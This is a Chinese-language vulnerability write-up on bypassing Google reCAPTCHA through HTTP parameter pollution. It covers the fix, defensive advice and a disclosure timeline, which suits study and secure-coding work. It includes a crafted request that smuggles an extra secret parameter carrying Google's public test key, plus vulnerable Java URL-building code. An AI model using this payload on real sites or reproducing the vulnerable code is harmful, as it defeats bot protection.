利用HTTP参数污染绕过谷歌reCAPTCHA验证机制技术分析

1. reCAPTCHA验证机制概述

reCAPTCHA是谷歌提供的一项免费验证服务，用于Web应用开发者实现人机身份验证。其主要特点包括：

• 提供多种验证形式（图片识别、数字验证等）
• 通过API接口与网站集成
• 验证流程分为前端验证和后端验证两部分

2. 漏洞发现背景

该漏洞是通过对目标网站的渗透测试发现的，攻击者可以利用HTTP参数污染(HPP)技术绕过reCAPTCHA验证。

3. 正常reCAPTCHA验证流程

1. 用户在前端完成验证码挑战
2. 网站前端发送验证请求：

   POST /verify-recaptcha-response HTTP/1.1
   Host: vulnerable-app.com
   recaptcha-response={reCAPTCHA-generated-hash}
   

3. 网站后端调用谷歌API验证：

   POST /recaptcha/api/siteverify HTTP/1.1
   Host: www.google.com
   Content-Type: application/x-www-form-urlencoded
   
   recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
   

4. 谷歌返回验证结果：

   {
     "success": true,
     "challenge_ts": "2018-01-29T17:58:36Z",
     "hostname": "..."
   }
   

4. HTTP参数污染(HPP)技术原理

HTTP参数污染是指：

• 网站接受用户输入并用于生成发往其他系统的HTTP请求
• 不对用户输出进行充分校验
• 不同系统对重复参数的处理方式不同

在本漏洞中，关键点是谷歌API对重复参数的处理方式：总是采用第一个出现的参数值。

5. 漏洞利用关键要素

5.1 测试环境禁用reCAPTCHA的密钥

谷歌提供的测试用密钥：

Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

5.2 漏洞利用条件

1. 目标网站存在HTTP参数污染漏洞
2. 网站构建API请求URL时采用"response在前，secret在后"的顺序

5.3 典型易受攻击代码示例

private String sendPost(String CaptchaResponse, String Secret) throws Exception {
    String url = "https://www.google.com/recaptcha/api/siteverify"+
                 "?response="+CaptchaResponse+
                 "&secret="+Secret;
    URL obj = new URL(url);
    HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
    // ...
}

6. 漏洞利用步骤

1. 构造恶意请求：

   POST /verify-recaptcha-response HTTP/1.1
   Host: vulnerable-app.com
   recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
   

   其中：

   • anything 为占位符
   • %26 是URL编码的&
   • %3d 是URL编码的=
   • 后面跟着测试用secret key

2. 目标网站处理后发送给谷歌的请求：

   POST /recaptcha/api/siteverify HTTP/1.1
   Host: www.google.com
   Content-Type: application/x-www-form-urlencoded
   
   recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret={real-secret}
   

3. 谷歌API处理时使用第一个secret参数（测试密钥），返回验证成功响应

7. 漏洞影响范围分析

• 约60%的reCAPTCHA集成存在HTTP参数污染风险
• 其中约5-10%使用"response在前，secret在后"的参数顺序
• 最终约3%的reCAPTCHA实现可被此漏洞利用

8. 谷歌修复方案

谷歌在API层面进行了修复：

• 当检测到请求中包含重复参数时
• 直接返回错误响应
• 无需网站开发者更新补丁

9. 防御建议

9.1 对开发者的建议

1. 避免使用字符串连接构建请求URL
2. 使用字典方式存储键值对
3. 对所有参数进行URL编码
4. 遵循"secret在前，response在后"的参数顺序

9.2 对安全测试人员的建议

1. 测试所有用户输入点是否存在HPP漏洞
2. 特别关注参数顺序敏感的接口
3. 测试重复参数的处理逻辑

10. 漏洞时间线

• 2018年1月31日：漏洞报告提交给谷歌
• 同日：谷歌要求提供更多测试证明
• 2018年6月前：谷歌完成API层面修复

11. 技术总结

该漏洞展示了：

1. 参数处理顺序的重要性
2. 系统间参数处理差异导致的安全问题
3. 防御性编程的必要性
4. API设计对安全的影响

通过此案例，开发者应更加重视HTTP参数的安全处理和API的健壮性设计。